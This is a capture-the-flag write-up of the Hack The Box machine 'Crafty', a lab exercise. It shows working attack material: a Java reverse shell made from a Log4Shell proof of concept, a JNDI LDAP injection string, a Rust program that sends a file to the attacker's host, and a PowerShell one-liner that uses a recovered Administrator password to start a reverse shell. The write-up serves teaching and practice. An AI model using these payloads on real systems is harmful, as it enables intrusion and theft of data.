1 Reconnaissance

To start the pentest off, we firstly start with some active recon. We start a nmap using the following parameters: nmap -T4 -sV -Pn -p- 10.10.11.249 Nmap Crafty

The results are.. interesting, we firstly see a webserver and a Minecraft server. When seeing the Minecraft server I instantly thought of log4j since this was a huge deal back in the good ‘ol times, nearly everything that used java was vulnerable. Fun times.

I decided to blindsight the webserver for a bit and focus on the, very outdated, Minecraft server.

2 Weaponization

Since writing a log4j exploit by myself seemed silly, as the exploit is already three years old, I decided to browse the internet a bit. I came across this repo https://github.com/kozmer/log4j-shell-poc. Which fit my needs nearly perfectly.

The code needed a little bit of a change as the cmd string to spawn an executor for us was set to /bin/sh which wouldn’t have worked as Crafty is a Windows box. It’s a Windows box which can be concluded from the OS guess of nmap but an even bigger indicator is Microsoft IIS httpd which is used as a webserver.


	def generate_payload(userip: str, lport: int) -> None:
	    program = """
		import java.io.IOException;
		import java.io.InputStream;
		import java.io.OutputStream;
		import java.net.Socket;

		public class Exploit {

		    public Exploit() throws Exception {
			String host="%s";
			int port=%d;
			String cmd="cmd.exe";
			Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
			Socket s=new Socket(host,port);
			InputStream pi=p.getInputStream(),
			    pe=p.getErrorStream(),
			    si=s.getInputStream();
			OutputStream po=p.getOutputStream(),so=s.getOutputStream();
			while(!s.isClosed()) {
			    while(pi.available()>0)
				so.write(pi.read());
			    while(pe.available()>0)
				so.write(pe.read());
			    while(si.available()>0)
				po.write(si.read());
			    so.flush();
			    po.flush();
			    Thread.sleep(50);
			    try {
				p.exitValue();
				break;
			    }
			    catch (Exception e){
			    }
			};
			p.destroy();
			s.close();
		    }
		}
		""" % (userip, lport)

		    # writing the exploit to Exploit.java file

		    p = Path("Exploit.java")

		    try:
			p.write_text(program)
			subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
		    except OSError as e:
			print(Fore.RED + f'[-] Something went wrong {e}')
			raise e
		    else:
			print(Fore.GREEN + '[+] Exploit java class created success')

3 Delivery & Exploitation & Installation & Command and Control

To deliver and exploit the log4j exploit we need three things. Firstly we need to install our own Minecraft client and join the server, then we need to run the Proof-of-Concept of the log4j exploit since this is where the server will reach out to and lastly we need to start a seperate listener so the server can connect back to us.

Log4j prepare Crafty

After joining the server, we need to paste the ${jndi:ldap://10.10.16.85:1389/a} into the server chat. Once we press enter, we will receive a connection from the server back.

Log4j Exploit Crafty

4 Actions on Objective

We now have access to the user of the box. When we move to C:\Users\svc_minecraft\Desktop we can get the user flag. Ofcourse I cannot show the full flag as that would ruin the fun :)

userflag Crafty

4.1 Privilege Escalation

User access is great, but we can go a step further essentially rooting the box. To kickoff privilege escalation I first decided to check the access this account had by checking it’s current privileges and group membership.

userflag Crafty

Ofcourse I also had to check what useraccounts are currently in the administrator localgroup

local admin Crafty

Welp, nothing too obvious I could exploit, the next step was to run winPEAS.exe and see if that would give anything note worthy.

winPEAS.exe gave nothing note worthy back, no unqouted service paths that I could edit and no lingering password files. In a small conclusion nothing really stood out to me. I decided to enumerate further with focus on the minecraft server, and doing so ended up in the plugins folder.

plugins Crafty

Odly enough there was only one plugin playercounter-1.0-SNAPSHOT.jar which grabbed my attention. Next I need to figure out how to exfiltrate this plugin to decompile it.

After failing horribly thrice to just POST the file to my attackbox using all kinds of weird Powershell MumboJumbo, I decided to just do what I know. I wrote a very ~shitty~ Rust executable to just exfiltrate the file for me.


	use std::net::TcpStream;
	use std::io::Read;
	use std::io::Write;

	fn main() {
	    println!("Hello, world!");

	    if let Ok(mut stream) = TcpStream::connect("10.10.16.85:1337") {
			if let Ok(mut file) = std::fs::File::open("C:\\Users\\svc_minecraft\\server\\plugins\\playercounter-1.0-SNAPSHOT.jar") {
		    	let mut buffer: Vec<u8> = Vec::new();

		    	if let Ok(_) = file.read_to_end(&mut buffer) {
					stream.write_all(&buffer);
			   }
	    	}
	     }
	}

I started up netcat with port 1337 uploaded this executable to Crafty and ran it.

Exfil Crafty

Now it was time to decompile the java file, for this I used jd-gui which decompiled java and shows it in a nice GUI. What was found in the PlayerCounter class was an encoded base64 string that looked like a password. When I found this I was over the moon, as winpeas didn’t result in an actionable Priv Esc vector.

JdGui Crafty

When I tried decoding this Base64 string I got garbage, so I knew from this point it was encrypted. Luckily Powershell can deal with these kinds of passwords. Firstly I made a simple Powershell reverse shell that was linked to nc port 4446. I then uploaded this .ps1 script file to the target.

Powershell Crafty

Combining the password found in the plugin, I made a powershell oneliner that creates the credentials using Administrator as it’s username and the recovered base64 encoded string as the password. Next I passed the backup.ps1 as an argument.

$credentials = New-Object System.Management.Automation.PSCredential -ArgumentList @("Administrator", ConvertTo-SecureString -String "s67u84zKq8IXw" -AsPlainText -Force)); Start-Process powershell.exe -Credential $credentials -ArgumentList "-file C:\users\svc_minecraft\Desktop\backup.ps1"

Admin Crafty

Last thing to do is move to C:\Users\Administrator\Desktop and get the root.txt

Root Crafty

5 Conclusion

The Crafty box was a fun time, allthough marked as an easy box I experienced the rooting of it not as such. Getting a foothold into the box was a piece of cake and took me roughly five minutes, mostly because I focussed fully on the outdated Minecraft server as my way in.

The escalation of privileges wasn’t as straight forward as I would’ve expected, and somehow I doubt its real-world application. Nonetheless it was a fun box and have learned to try harder.